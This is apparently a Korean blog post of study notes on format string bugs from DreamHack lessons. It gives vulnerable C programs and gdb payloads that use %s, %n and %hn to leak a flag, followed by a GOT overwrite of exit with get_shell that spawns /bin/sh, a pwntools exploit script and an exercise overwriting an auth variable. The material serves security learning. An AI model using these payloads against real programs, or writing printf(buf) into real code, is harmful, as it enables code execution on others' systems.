Self-Improvement
[DreamHack] FSB 기초학습 (%x, %s, %n, %c, %hn) 본문
CTF를 풀때마다 FSB 문제는 하나씩 존재해서 그냥 넘어가는일이 많아서 추후에 공부하자고 다짐만 했었는데 이번 좋은 기회로 FSB에 대해서 제대로 이해하고 어떻게 활용하는지 알아보고 공부해본다.
소스코드1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// gcc -o fsb1 fsb1.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char flag_buf[50];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main()
{
FILE *fp;
char buf[256];
initialize();
memset(buf, 0, sizeof(buf));
fp = fopen("./flag", "r");
fread(flag_buf, 1, sizeof(flag_buf), fp);
printf("Input: ");
read(0, buf, sizeof(buf)-1);
printf(buf);
return 0;
}
|
cs |
17줄에는 flag 파일의 내용을 읽어 flag_buf 변수에 저장하고있다.
21줄의 printf()를 보면 buf 변수를 그대로 출력하고 있음으로 fsb 취약점이 존재하게 된다.
GDB
컴파일한 후에 gdb에서 FSB 취약점이 존재하는 부분에 BP를 걸어준다.
ebp-0x108의 주소가 buf 변수임을 알 수 있다.
실행하여 입력값으로 "AAAA.%x.%x.%x"을 대입해주고 결과를 확인해보면 buf 변수에 제대로 들어간걸 확인할 수 있다.
결과적으론 입력한 값("AAAA")을 첫번째 포멧스트링에서 출력이 이루어지고 그 이후로도 스택의 값을 출력하고 있다.
이를 활용하여 입력한 값을("AAAA")가 아닌 flag 내용을 담고 있는 flag_buf 변수의 주소를 입력하여 포맷스트링으로 출력을 하면 flag_buf 변수의 주소를 참조하여 내용을 출력하게 될 것이다.
flag_buf 주소 : 0x56559060
gef> r <<< $(python -c 'print "\x60\x90\x55\x56.%s"')
결과적으로는 0x56559060의 쓰레기 문자값이 출력되고 그 뒤의 %s 포맷스트링에 의해 참조되는 값을 출력하게 된다.
위 예제에서는 첫번째 포맷스트링에서 입력값을 참조하여 쉽게?했지만 만일 만번째에서 입력값을 참조하는 일이 생기면 일일이 포맷스트링을 입력해야하는 불편함이 생기게 된다.
이때는 아래와 같이 "%N$포맷스트링"으로 하면 된다.
gef> r <<< $(python -c 'print "\x60\x90\x55\x56%1$s"')
이번 예제에서는 "%n"으로 특정한 주소에 값을 Write하는 것을 알아본다.
소스코드2
1
2
3
4
5
6
7
8
|
// gcc -o fsb_example2 fsb_example2.c
#include <stdio.h>
int main()
{
int ret = 0;
printf("1234%1$n\n", &ret);
printf("ret: %d\n", ret);
}
|
cs |
위의 소스코드를 컴파일하여 실행하면 아래와 같이 결과가 나오며 이로써 %1$n 포맷스트링은 문자열의 길이를 저장하게 된다.
만약 큰 값을 써야한다면 "%c" 포맷스트링으로 아래와 같이 할 수 있다.
소스코드3
1
2
3
4
5
6
7
8
|
// gcc -o fsb_example3 fsb_example3.c
#include <stdio.h>
int main()
{
int ret = 0;
printf("%1024c%1$n\n", &ret);
printf("ret: %d\n", ret);
}
|
cs |
%1024c%1$n으로 하면 ret에는 1024의 값이 저장된다.
이번에는 "%n"으로 실제 특정 주소에 입력을 해보는 것으로 한다.
소스코드4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// gcc -o fsb2 fsb2.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
char buf[256];
initialize();
memset(buf, 0, sizeof(buf));
printf("Input: ");
read(0, buf, sizeof(buf)-1);
printf(buf);
exit(0);
}
|
cs |
이 소스코드에서 할 것은 exit@got 주소에 get_shell 주소를 overwrite할 것이며 exit 함수가 수행되면 Got Overwrite로 인해 get_shell 함수가 실행되어 쉘을 얻을 수 있을 것이다.
Got Overwrite 참조 : https://johyungen.tistory.com/444
20줄의 printf(buf)에서 FSB가 발생하여 exit@got 주소에 get_shell을 씌울 수 있겠다.
먼저 구해야하는 것은 exit@got 주소, get_shell 주소이다.
get_shell : 0x80491f5
exit@got : 0x804c018
먼저 "set" 명령어로 exit@got를 get_shell 주소로 변경하고 실행하면 쉘을 정상적으로 획득할 수 있다.
먼저 연습삼아 exit@got주소에 0x400(1024)를 대입해본다.
gef> r <<< $(python -c 'print "\x18\xc0\x04\x08%1024c%1$n"')
하지만 위의 페이로드를 수행하고 exit@got를 확인하면 0x404가 들어가 있는데 이는 앞의 exit@got 주소 4바이트가 추가되어서 그런것이다.
그래서 get_shell 주소에 맞게 대입을 해주는 대신 앞의 4바이트를 생각하면서 해야한다.
134517237(0x80491f5)-4 = 134517233(x80491F1)
쉘을 얻기위한 페이로드는 아래와 같다.
gef> r <<< $(python -c 'print "\x18\xc0\x04\x08%134517233c%1$n"')
페이로드 입력이 끝나고 exit@got 를 확인하면 get_shell 주소인 0x080491f5가 정상적으로 들어가 있는 것을 확인할 수 있다.
하지만 위와 같이 진행하면 무수한 길이의 페이로드로 인해 공격이 오래걸리거나 timeout이 걸릴 수 있음으로 다음 소개할 방법으로 진행하는게 좋다.
"%hn"으로 기존에 4바이트에 대해서 페이로드를 작성했다면 2바이트씩 나눠서 쓰는 방법을 사용하면 된다.
"%hhn" 은 1바이트
한마디로 exit@got의 주소와 exit@got+2의 주소로 나누어 각각 구역에 쓰면된다.
exit@got = 0x804c018
exit@got+2 = 0x804c01a
get_shell = 0x80491f5
exit@got+2에는 get_shell의 0x0804가 들어가야한다.
= "\x1a\xc0\x04\x08\x18\xc0\x04\x08%2044c%1$hn"
%2044c가 되는 이유는 0x804(2052)에서 앞의 8byte(\x1a\xc0\x04\x08\x18\xc0\x04\x08)를 빼야하기 때문에 0x7FC(2044)가 된다.
그리고 exit@got에는 0x91f5(37365)을 입력해야 하기 때문에 앞에서 사용된 길이(8+2044)를 뺀 값을 넣으면 된다.
최종 페이로드 = "\x1a\xc0\x04\x08\x18\xc0\x04\x08%2044c%1$hn%35313c%2$hn"
페이로드로 하면 이상하게 되지를..않아서 pwntools로 아래에 작성
pwntools
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
context.log_level='debug'
e=ELF('./fsb2')
p=process("./fsb2")
get_shell=e.symbols['get_shell']
exit_got=e.got['exit']
p.recvuntil('Input')
p.sendline(fmtstr_payload(1,{exit_got:get_shell}))
p.interactive()
|
cs |
간단 문제
1
2
3
4
5
6
7
8
9
|
// gcc -o fsb_write fsb_write.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
}
|
cs |
fsb 취약점으로 auth 변수의 값을 0xff로 변경하는 것이다.
먼저 auth의 주소를 알아보자면 0xffffd370이다.
사전에 포맷스트링 첫번째에서 입력값을 참조하는 걸 확인하였으며 바로 페이로드를 바로 작성해본다
255(0xff)에서 앞의 4바이트를 빼면 251(0xfb)이다.
페이로드 = r <<< $(python -c 'print "\x70\xd3\xff\xff%251c%1$n"')
auth의 값은 0xff로 변경된걸 확인할 수 있다.
'리버싱 기초' 카테고리의 다른 글
ctype 에 관한내용 (0) | 2021.05.12 |
---|---|
socket domain에 따른 값 (0) | 2021.03.09 |
쉘코드, Shell Code (0) | 2020.07.23 |
Full RelRO, PIE 이론 및 우회방법 예제 (0) | 2020.07.13 |
Return to csu (64bit ELF ROP작성 시 가젯의 부재를 해결하는 방식) 정리 (0) | 2020.06.17 |